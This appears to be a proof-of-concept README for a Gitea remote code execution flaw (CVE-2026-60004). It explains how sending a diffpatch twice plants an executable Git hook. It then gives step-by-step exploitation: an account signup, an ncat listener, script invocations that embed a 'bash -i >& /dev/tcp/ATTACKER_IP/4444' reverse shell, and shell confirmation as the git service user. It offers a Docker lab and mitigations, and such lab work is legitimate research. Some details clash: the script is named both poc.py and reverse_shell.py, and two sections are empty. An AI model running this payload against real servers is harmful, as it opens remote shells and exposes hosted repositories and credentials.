CVE-2026-60004 Gitea diffpatch RCE

★ CVE-2026-60004 Gitea diffpatch Git Hook RCE PoC ★

Overview

CVE-2026-60004 is a Remote Code Execution (RCE) vulnerability in Gitea. The diffpatch API applies a supplied patch with git apply --cached, which should only update the index and never write files to disk. By sending the same patch twice, an attacker can force an add/add collision that triggers Git's three-way merge fallback (-3). This path ignores --cached and checks the file out to the working tree. Because the temporary clone is bare, its working tree root is $GIT_DIR. A patch that creates an executable hooks/post-index-change therefore installs a live Git hook. Git executes the hook on the next index update, allowing commands to run as the Gitea service account. The endpoint requires repository write access. If registration is open, a user can register an account, create a repository, and reach the vulnerable code path.

Affected Versions

Impact

• Remote Code Execution as the Gitea service account (git)
• Access to hosted repositories and secrets available to the service account
• Potential access to Gitea configuration and database credentials

Environment

Build and run the vulnerable Gitea environment from the lab directory. The image uses Gitea 1.27.0 and leaves registration enabled.

docker build -t cve-2026-60004 .
docker run --rm -d --name cve-2026-60004 -p 3000:3000 cve-2026-60004

Open http://127.0.0.1:3000 in a browser.

PoC

Use this PoC only in an isolated environment that you own or are explicitly authorized to test.

Step 1. Create an account and repository

1. Register a normal account through the web UI at /user/sign_up.
2. Create a repository under that account.
3. Select Initialize Repository so that the main branch exists.

reverse_shell.py uses the value passed to --user as both the Basic Authentication username and repository owner. The target repository must therefore belong to that user.

Step 2. Start a listener

On the callback host, start a listener before running the exploit:

ncat -lvnp 4444

The callback address must be reachable from the Gitea container. When the listener runs on the Docker host, do not use 127.0.0.1 as --lhost; use an address that the container can reach, such as the host's LAN address.

Step 3. Deliver the reverse-shell payload

Run the script from the lab directory and replace the placeholder values:

python3 poc.py \
  --url http://<TARGET_IP>:3000 \
  --user <USER> \
  --pw <PASSWORD> \
  --repo <REPOSITORY> \
  --lhost <ATTACKER_IP> \
  --lport 4444

The script performs the following actions automatically:

1. Creates bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1.
2. Base64-encodes the command before embedding it in the hook.
3. Calculates the Git blob SHA-1 for the generated hook content.
4. Builds an executable hooks/post-index-change patch.
5. Sends the same patch twice to POST /api/v1/repos/USER/REPO/diffpatch.

The repeated request triggers the 3-way merge fallback that writes the hook into $GIT_DIR/hooks/. The hook then opens the reverse-shell connection as the Gitea service account.

The second HTTP request can remain open while the reverse shell is active. By default, the script waits up to 300 seconds and treats a timeout on the second request as a possible successful callback. Use --timeout to change this value:

python3 reverse_shell.py \
  --url http://TARGET_IP:3000 \
  --user USER \
  --pw PASSWORD \
  --repo REPO \
  --lhost ATTACKER_IP \
  --timeout 60

Reusing a repository after a successful attempt may leave the hook path occupied. Create a fresh initialized repository before retrying.

Step 4. Confirm the shell

In the listener, verify the execution context:

id
uid=1000(git) gid=1000(git) groups=1000(git),1000(git)

The shell should run with the privileges of the Gitea service account (git).

Options

The script uses only the Python standard library and does not require third-party Python packages.

Cleanup

docker stop cve-2026-60004

Because the container was started with --rm, Docker removes it after it stops.

Mitigation

• Upgrade Gitea to 1.27.1 or later.
• Disable open registration when it is not required (DISABLE_REGISTRATION=true).
• Restrict repository creation and write access to trusted users.
• Restrict network access to the Gitea instance and outbound connections from the service.

Analysis

• KR:
• EN: